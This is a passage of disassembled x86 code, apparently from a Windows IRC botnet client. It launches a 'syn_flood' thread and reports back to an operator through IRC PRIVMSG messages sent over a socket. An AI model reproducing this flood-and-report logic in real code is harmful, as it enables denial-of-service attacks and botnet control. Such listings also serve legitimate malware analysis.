mov dword [esp], eax
call sym._sprintf
mov eax, dword [ebp - 0x1c]
lea edx, [ebp - 0x684]
mov dword [esp + 0x14], edx
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], eax
mov dword [esp + 8], sym._syn_flood_4
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
call eax
sub esp, 0x18
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0
je 0x40448e
mov dword [esp + 0x10], 0x42449c
mov dword [esp + 0xc], 5
mov eax, dword [ebp - 0x34]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
lea eax, [ebp - 0x258]
mov dword [esp], eax
call sym._addthread
mov edx, dword [ebp - 0x1c]
imul edx, edx, 0x78
add edx, 0x45fff0
mov dword [edx], eax
jmp 0x4044b4
movdqu xmm0, xmmword [0x4243ec]
movups xmmword [ebp - 0x258], xmm0
mov eax, dword [0x4243fb]
mov dword [ebp - 0x249], eax
jmp 0x4044b4
mov eax, 0
jmp 0x404587
lea eax, [ebp - 0x258]
movzx eax, byte [eax]
test al, al
jne 0x4044cb
mov eax, 0
jmp 0x404587
lea eax, [ebp - 0x258]
mov dword [esp], eax
call sym._strlen
mov edx, eax
lea eax, [ebp - 0x258]
add eax, edx
mov word [eax], 0xa
cmp dword [ebx + 0x10], 0
jne 0x404523
lea eax, [ebp - 0x258]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
lea eax, [ebp - 0x258]
mov dword [esp + 4], eax
mov eax, dword [ebx]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_send]
call eax
sub esp, 0x10
jmp 0x404582
cmp dword [ebx], 0
je 0x404582
lea eax, [ebp - 0x258]
mov dword [esp + 0xc], eax
mov eax, dword [ebx + 0x10]
mov dword [esp + 8], eax
mov dword [esp + 4], str.PRIVMSG__s_:_s
lea eax, [ebp - 0x458]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x458]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
lea eax, [ebp - 0x458]
mov dword [esp + 4], eax
mov eax, dword [ebx]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_send]
call eax
sub esp, 0x10
mov eax, 0
lea esp, [ebp - 0x10]
pop ecx
pop ebx
pop esi
pop edi
pop ebp
lea esp, [ecx - 4]
ret